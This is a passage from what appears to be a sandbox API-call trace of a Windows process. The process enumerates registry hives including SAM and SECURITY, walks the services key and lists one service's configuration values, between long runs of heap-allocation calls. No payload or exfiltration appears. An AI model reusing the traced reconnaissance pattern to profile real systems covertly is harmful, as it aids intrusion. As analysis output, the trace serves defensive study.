lpName=0x1dd29e0, cchName=0x104 | out: lpName="HARDWARE") returned 0x0 [0251.134] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0251.134] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware", cchWideChar=8, lpMultiByteStr=0x1de4768, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hardware", lpUsedDefaultChar=0x0) returned 8 [0251.134] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x2, lpName=0x1dd29e0, cchName=0x104 | out: lpName="SAM") returned 0x0 [0251.134] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sam", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0251.134] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sam", cchWideChar=3, lpMultiByteStr=0x1de4450, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sam", lpUsedDefaultChar=0x0) returned 3 [0251.135] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x3, lpName=0x1dd29e0, cchName=0x104 | out: lpName="SECURITY") returned 0x0 [0251.135] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0251.135] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security", cchWideChar=8, lpMultiByteStr=0x1de4768, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="security", lpUsedDefaultChar=0x0) returned 8 [0251.135] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x4, lpName=0x1dd29e0, cchName=0x104 | out: lpName="SOFTWARE") returned 0x0 [0251.135] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0251.135] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x1de4450, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="software", lpUsedDefaultChar=0x0) returned 8 [0251.135] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x5, lpName=0x1dd29e0, cchName=0x104 | out: lpName="SYSTEM") returned 0x0 [0251.135] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="system", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0251.135] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="system", cchWideChar=6, lpMultiByteStr=0x1de4768, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="system", lpUsedDefaultChar=0x0) returned 6 [0251.135] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SYSTEM", ulOptions=0x0, samDesired=0x20109, phkResult=0x18fb68 | out: phkResult=0x18fb68*=0x15c) returned 0x0 [0251.135] RegCloseKey (hKey=0x80000002) returned 0x0 [0251.135] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x0, lpName=0x1dd29e0, cchName=0x104 | out: lpName="ControlSet001") returned 0x0 [0251.135] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset001", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0251.135] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset001", cchWideChar=13, lpMultiByteStr=0x1de4450, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="controlset001", lpUsedDefaultChar=0x0) returned 13 [0251.135] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x1, lpName=0x1dd29e0, cchName=0x104 | out: lpName="ControlSet002") returned 0x0 [0251.135] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset002", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0251.135] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset002", cchWideChar=13, lpMultiByteStr=0x1de4768, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="controlset002", lpUsedDefaultChar=0x0) returned 13 [0251.135] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x2, lpName=0x1dd29e0, cchName=0x104 | out: lpName="MountedDevices") returned 0x0 [0251.135] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mounteddevices", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0251.136] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mounteddevices", cchWideChar=14, lpMultiByteStr=0x1de4450, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mounteddevices", lpUsedDefaultChar=0x0) returned 14 [0251.136] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x3, lpName=0x1dd29e0, cchName=0x104 | out: lpName="RNG") returned 0x0 [0251.136] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rng", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0251.136] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rng", cchWideChar=3, lpMultiByteStr=0x1de4768, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rng", lpUsedDefaultChar=0x0) returned 3 [0251.136] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x4, lpName=0x1dd29e0, cchName=0x104 | out: lpName="Select") returned 0x0 [0251.136] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="select", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0251.136] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="select", cchWideChar=6, lpMultiByteStr=0x1de4450, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="select", lpUsedDefaultChar=0x0) returned 6 [0251.136] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x5, lpName=0x1dd29e0, cchName=0x104 | out: lpName="Setup") returned 0x0 [0251.136] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="setup", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0251.136] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="setup", cchWideChar=5, lpMultiByteStr=0x1de4768, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="setup", lpUsedDefaultChar=0x0) returned 5 [0251.136] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x6, lpName=0x1dd29e0, cchName=0x104 | out: lpName="Software") returned 0x0 [0251.136] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0251.136] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x1de4450, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="software", lpUsedDefaultChar=0x0) returned 8 [0251.136] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x7, lpName=0x1dd29e0, cchName=0x104 | out: lpName="WPA") returned 0x0 [0251.136] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wpa", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0251.136] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wpa", cchWideChar=3, lpMultiByteStr=0x1de4768, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wpa", lpUsedDefaultChar=0x0) returned 3 [0251.136] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x8, lpName=0x1dd29e0, cchName=0x104 | out: lpName="CurrentControlSet") returned 0x0 [0251.136] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="currentcontrolset", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0251.136] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="currentcontrolset", cchWideChar=17, lpMultiByteStr=0x1de4450, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="currentcontrolset", lpUsedDefaultChar=0x0) returned 17 [0251.136] RegOpenKeyExW (in: hKey=0x15c, lpSubKey="CurrentControlSet", ulOptions=0x0, samDesired=0x20109, phkResult=0x18fb68 | out: phkResult=0x18fb68*=0x154) returned 0x0 [0251.137] RegCloseKey (hKey=0x15c) returned 0x0 [0251.137] RegEnumKeyW (in: hKey=0x154, dwIndex=0x0, lpName=0x1dd29e0, cchName=0x104 | out: lpName="Control") returned 0x0 [0251.137] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="control", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0251.137] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="control", cchWideChar=7, lpMultiByteStr=0x1de4768, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="control", lpUsedDefaultChar=0x0) returned 7 [0251.137] RegEnumKeyW (in: hKey=0x154, dwIndex=0x1, lpName=0x1dd29e0, cchName=0x104 | out: lpName="Enum") returned 0x0 [0251.137] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="enum", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0251.137] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="enum", cchWideChar=4, lpMultiByteStr=0x1de4450, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="enum", lpUsedDefaultChar=0x0) returned 4 [0251.137] RegEnumKeyW (in: hKey=0x154, dwIndex=0x2, lpName=0x1dd29e0, cchName=0x104 | out: lpName="Hardware Profiles") returned 0x0 [0251.137] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware profiles", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0251.137] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware profiles", cchWideChar=17, lpMultiByteStr=0x1de4768, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hardware profiles", lpUsedDefaultChar=0x0) returned 17 [0251.137] RegEnumKeyW (in: hKey=0x154, dwIndex=0x3, lpName=0x1dd29e0, cchName=0x104 | out: lpName="Policies") returned 0x0 [0251.137] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="policies", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0251.137] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="policies", cchWideChar=8, lpMultiByteStr=0x1de4450, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="policies", lpUsedDefaultChar=0x0) returned 8 [0251.137] RegEnumKeyW (in: hKey=0x154, dwIndex=0x4, lpName=0x1dd29e0, cchName=0x104 | out: lpName="services") returned 0x0 [0251.137] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="services", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0251.137] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="services", cchWideChar=8, lpMultiByteStr=0x1de4768, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="services", lpUsedDefaultChar=0x0) returned 8 [0251.137] RegOpenKeyExW (in: hKey=0x154, lpSubKey="services", ulOptions=0x0, samDesired=0x20109, phkResult=0x18fb68 | out: phkResult=0x18fb68*=0x15c) returned 0x0 [0251.137] RegCloseKey (hKey=0x154) returned 0x0 [0251.137] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x0, lpName=0x1dd29e0, cchName=0x104 | out: lpName=".NET CLR Data") returned 0x0 [0251.137] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr data", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0251.138] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr data", cchWideChar=13, lpMultiByteStr=0x1de4450, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr data", lpUsedDefaultChar=0x0) returned 13 [0251.138] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x1, lpName=0x1dd29e0, cchName=0x104 | out: lpName=".NET CLR Networking") returned 0x0 [0251.138] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0251.138] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking", cchWideChar=19, lpMultiByteStr=0x1de4768, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr networking", lpUsedDefaultChar=0x0) returned 19 [0251.138] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x2, lpName=0x1dd29e0, cchName=0x104 | out: lpName=".NET CLR Networking 4.0.0.0") returned 0x0 [0251.138] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking 4.0.0.0", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0251.138] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking 4.0.0.0", cchWideChar=27, lpMultiByteStr=0x1de4450, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr networking 4.0.0.0", lpUsedDefaultChar=0x0) returned 27 [0251.138] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x3, lpName=0x1dd29e0, cchName=0x104 | out: lpName=".NET Data Provider for Oracle") returned 0x0 [0251.138] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for oracle", cchWideChar=29, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 29 [0251.138] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for oracle", cchWideChar=29, lpMultiByteStr=0x1de4768, cbMultiByte=29, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net data provider for oracle", lpUsedDefaultChar=0x0) returned 29 [0251.138] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x4, lpName=0x1dd29e0, cchName=0x104 | out: lpName=".NET Data Provider for SqlServer") returned 0x0 [0251.138] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for sqlserver", cchWideChar=32, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 32 [0251.138] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for sqlserver", cchWideChar=32, lpMultiByteStr=0x1de4450, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net data provider for sqlserver", lpUsedDefaultChar=0x0) returned 32 [0251.138] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x5, lpName=0x1dd29e0, cchName=0x104 | out: lpName=".NET Memory Cache 4.0") returned 0x0 [0251.138] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net memory cache 4.0", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0251.138] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net memory cache 4.0", cchWideChar=21, lpMultiByteStr=0x1de4768, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net memory cache 4.0", lpUsedDefaultChar=0x0) returned 21 [0251.138] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x6, lpName=0x1dd29e0, cchName=0x104 | out: lpName=".NETFramework") returned 0x0 [0251.138] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".netframework", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0251.138] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".netframework", cchWideChar=13, lpMultiByteStr=0x1de4450, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".netframework", lpUsedDefaultChar=0x0) returned 13 [0251.139] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x7, lpName=0x1dd29e0, cchName=0x104 | out: lpName="1394ohci") returned 0x0 [0251.139] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="1394ohci", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0251.139] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="1394ohci", cchWideChar=8, lpMultiByteStr=0x1de4768, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="1394ohci", lpUsedDefaultChar=0x0) returned 8 [0251.139] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x8, lpName=0x1dd29e0, cchName=0x104 | out: lpName="ACPI") returned 0x0 [0251.139] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpi", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0251.139] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpi", cchWideChar=4, lpMultiByteStr=0x1de4450, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="acpi", lpUsedDefaultChar=0x0) returned 4 [0251.140] RegEnumValueA (in: hKey=0xc8, dwIndex=0x0, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0251.140] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x10) returned 0x58d660 [0251.140] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x58d378 [0251.140] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4450 [0251.140] RegEnumValueA (in: hKey=0xc8, dwIndex=0x1, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0251.140] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x58d368 [0251.140] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4720 [0251.140] RegEnumValueA (in: hKey=0xc8, dwIndex=0x2, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0251.140] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x58d358 [0251.140] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4690 [0251.140] RegEnumValueA (in: hKey=0xc8, dwIndex=0x3, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0251.140] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x58d458 [0251.140] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4b10 [0251.140] RegEnumValueA (in: hKey=0xc8, dwIndex=0x4, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0251.140] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x20) returned 0x58bc08 [0251.140] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58d660) returned 1 [0251.140] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x58d348 [0251.140] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4648 [0251.140] RegEnumValueA (in: hKey=0xc8, dwIndex=0x5, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0251.140] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x58d338 [0251.140] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4600 [0251.140] RegEnumValueA (in: hKey=0xc8, dwIndex=0x6, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0251.140] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x58d328 [0251.140] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de45b8 [0251.140] RegEnumValueA (in: hKey=0xc8, dwIndex=0x7, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0251.140] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x58d318 [0251.140] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4570 [0251.140] RegEnumValueA (in: hKey=0xc8, dwIndex=0x8, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0251.141] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x30) returned 0x1e6f870 [0251.141] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58bc08) returned 1 [0251.141] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x58d308 [0251.141] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4528 [0251.141] RegEnumValueA (in: hKey=0xc8, dwIndex=0x9, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0251.141] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x58d2f8 [0251.141] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de44e0 [0251.141] RegEnumValueA (in: hKey=0xc8, dwIndex=0xa, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0251.141] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x58d258 [0251.141] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4498 [0251.141] RegEnumValueA (in: hKey=0xc8, dwIndex=0xb, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0251.141] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de47b0 [0251.141] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de47b0) returned 1 [0251.141] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de47b0 [0251.141] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de47b0) returned 1 [0251.141] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de47b0 [0251.141] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de47b0) returned 1 [0251.141] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 